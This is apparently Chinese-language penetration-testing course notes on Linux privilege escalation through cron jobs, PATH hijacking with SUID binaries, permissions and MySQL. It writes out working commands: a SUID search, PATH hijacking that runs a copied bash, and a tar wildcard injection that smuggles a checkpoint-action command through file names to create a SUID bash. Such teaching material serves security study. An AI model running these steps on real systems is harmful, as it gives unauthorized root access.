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#知识点： 

1、Linux 提权-定时任务 

2、Linux 提权-环境变量 

3、Linux 提权-权限配置不当 

4、Linux 提权-数据库自动化 

 

#系列内容： 

内核，数据库，第三方服务，SUID&GUID，定时任务，环境变量，SUDO，权限不当等 

脏牛漏洞(CVE-2016-5195) 

Dirty Pipe(CVE-2022-0847) 

SUDO(CVE-2021-3156） 

Polkit(CVE-2021-4034) 

 

#截至目前思路点总结如下： 

1.提权方法有部分适用在不同环境，当然也有通用方法 

2.提权方法也有操作系统版本区分，特性决定方法利用面 

3.提权方法有部分需要特定环境，如数据库,第三方提权等 
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#思考点： 

1、如何判断采用什么数据库提权？ 

2、数据库提权首要条件密码获取？ 



 

演示案例： 

 Linux-环境变量文件配合 SUID-本地 

 Linux-定时任务打包配合 SUID-本地 

 Linux-定时任务文件权限配置不当-WEB&本地 

 Linux-第三方软件 MYSQL 数据库提权-WEB&本地 



 

#Linux-环境变量文件配合 SUID-本地 

条件：ROOT 用户对某个第三方程序给予了 SUID 权限 

探针：find / -user root -perm -4000 -print 2>/dev/null 

root 用户讲可执行文件进行编译，保证文件的正常授权运行，给予 ROOT 权限执行 

gcc demo.c -o shell 

chmod u+s shell 

普通用户通过对文件反编译或源代码查看，覆盖其执行环境变量，直接让其执行指定程序

获取权限 

cp /bin/bash /tmp/ps 

export PATH=/tmp:$PATH 

./shell 

id 

 

#Linux-定时任务打包配合 SUID-本地 

提权通过获取计划任务执行文件信息进行提权 

1、相对路径和绝对路径执行 

2、计划任务命令存在参数调用 

利用计划任务的备份功能 tar 命令的参数利用 

echo "" > "--checkpoint-action=exec=sh test.sh" 

echo "" > --checkpoint=1 

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh 

chmod +x test.sh 

 

#Linux-定时任务文件权限配置不当-WEB&本地 

利用不安全的权限分配操作导致的定时文件覆盖 

chmod 777 775 等 所有者 组 其他成员说明 



 

涉及资源： 

补充：涉及录像课件资源软件包资料等下载地址 

 

https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

